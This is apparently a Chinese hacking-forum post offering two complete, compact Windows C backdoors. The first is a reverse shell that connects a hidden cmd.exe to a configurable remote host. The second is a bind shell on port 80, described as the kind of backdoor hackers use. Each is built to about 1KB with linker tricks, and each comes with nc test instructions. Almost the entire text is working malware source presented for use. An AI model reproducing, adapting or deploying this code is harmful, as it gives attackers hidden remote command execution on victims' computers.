1K后门代码

 /*
  1k(程序体积1kb) 反向连接,零管道后门


测试:
  本地开启nc -l -p 8000,监听8000端口,会得到一个Shell
*/
#pragma comment(linker,"/subsystem:windows /FILEALIGN:0x200 /ENTRY:Entrypoint")
#pragma comment(linker,"/INCREMENTAL:NO /IGNORE:4078")
#pragma comment(linker,"/MERGE:.idata=.text /MERGE:.data=.text /MERGE:.rdata=.text /MERGE:.text=Anskya /SECTION:Anskya,EWR")
#pragma comment(lib, "ws2_32.lib")//链接到WS2_32.LIB库

#include <winsock2.h>
#include <windows.h>

#define MasterAddr "127.0.0.1"  //反弹连接地址或域名
#define MasterPort 8000    //反弹连接端口

void Entrypoint()
{
  WSADATA WSADa;
  LPHOSTENT HostEnts;
  SOCKADDR_IN SockAddrIn;
  SOCKET FSocket;
 
  PROCESS_INFORMATION ProcessInfo;
  STARTUPINFO StartupInfo;

  char szCMDPath[255];
//-----初始化数据------
  ZeroMemory(&ProcessInfo, sizeof(PROCESS_INFORMATION));
  ZeroMemory(&StartupInfo, sizeof(STARTUPINFO));
  ZeroMemory(&WSADa, sizeof(WSADATA));
//获取cmd路径:
  GetEnvironmentVariable("COMSPEC",szCMDPath,sizeof(szCMDPath));
//加载ws2_32.dll
  WSAStartup(0x0202,&WSADa);
 
  HostEnts=gethostbyname(MasterAddr);//将域名转换为IP地址
  SockAddrIn.sin_family = AF_INET;//表示IPv4地址族
  SockAddrIn.sin_addr = *((LPIN_ADDR)*HostEnts->h_addr_list);//IP地址列表
  SockAddrIn.sin_port = htons(MasterPort);//端口号
  FSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);//创建一个套接字
  //获取远程地址和端口与绑定协议
  connect(FSocket, (LPSOCKADDR)&SockAddrIn,sizeof(SockAddrIn));
  //开始连接远程服务器
  StartupInfo.cb = sizeof(STARTUPINFO);
  StartupInfo.wShowWindow = SW_HIDE;//表示隐藏窗口
  StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
  //控制台输入与输出句柄指向已连接套接字FSocket:
  StartupInfo.hStdInput = (HANDLE)FSocket;
  StartupInfo.hStdOutput = (HANDLE)FSocket;
  StartupInfo.hStdError = (HANDLE)FSocket;
  //创建匿名管道:
  CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &StartupInfo, &ProcessInfo);
  WaitForSingleObject(ProcessInfo.hProcess, INFINITE);
  CloseHandle(ProcessInfo.hProcess);
  CloseHandle(ProcessInfo.hThread);
  //关闭进程句柄
  closesocket(FSocket);
  WSACleanup();
  //关闭连接卸载ws2_32.dll
}

void main(){}

 

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/*
1k(程序体积1kb)正向连接,零管道后门 By DNA32r

说明:
不用我多说了吧..黑客一般都会使用的后门程序..
这里只是简单的演示一下..没有添加进程隐藏功能
程序可以在Win9x,Win2k,WinXP,Win2k3上使用
程序体积只有1k(FSG压缩一下会更小)

测试:
本地开启NetCat等工具,连接远程计算机80端口,会得到一个Shell
*/
#pragma comment(linker,"/subsystem:windows /FILEALIGN:0x200 /ENTRY:Entrypoint")
#pragma comment(linker,"/INCREMENTAL:NO /IGNORE:4078")
#pragma comment(linker,"/MERGE:.idata=.text /MERGE:.data=.text /MERGE:.rdata=.text /MERGE:.text=DNA32r /SECTION:DNA32r,EWR") 
#pragma comment(lib, "ws2_32.lib")

#include <winsock2.h>
#include <windows.h>

#define MasterPort 80 //连接端口

void Entrypoint()
{
WSADATA WSADa;
sockaddr_in SockAddrIn;
SOCKET CSocket,SSocket;
int iAddrSize;

PROCESS_INFORMATION ProcessInfo;
STARTUPINFO StartupInfo;

char szCMDPath[255];
//-------------------
ZeroMemory(&ProcessInfo, sizeof(PROCESS_INFORMATION));
ZeroMemory(&StartupInfo, sizeof(STARTUPINFO));
ZeroMemory(&WSADa, sizeof(WSADATA));
//----初始化数据----
//获取cmd路径
GetEnvironmentVariable("COMSPEC",szCMDPath,sizeof(szCMDPath));
//加载ws2_32.dll
WSAStartup(0x0202,&WSADa);

//设置本地信息和绑定协议
SockAddrIn.sin_family = AF_INET;
SockAddrIn.sin_addr.s_addr = INADDR_ANY;
SockAddrIn.sin_port = htons(MasterPort);
CSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

//绑定端口
bind(CSocket,(sockaddr *)&SockAddrIn,sizeof(SockAddrIn));
listen(CSocket,1);
iAddrSize = sizeof(SockAddrIn);
SSocket = accept(CSocket,(sockaddr *)&SockAddrIn,&iAddrSize);
//开始连接远程服务器
StartupInfo.cb = sizeof(STARTUPINFO);
StartupInfo.wShowWindow = SW_HIDE;
StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
StartupInfo.hStdInput = (HANDLE)SSocket;
StartupInfo.hStdOutput = (HANDLE)SSocket;
StartupInfo.hStdError = (HANDLE)SSocket;
//创建匿名管道
CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &StartupInfo, &ProcessInfo);
WaitForSingleObject(ProcessInfo.hProcess, INFINITE);
CloseHandle(ProcessInfo.hProcess);
CloseHandle(ProcessInfo.hThread);
//关闭进程句柄
closesocket(CSocket);
closesocket(SSocket);
WSACleanup();
//关闭连接卸载ws2_32.dll
}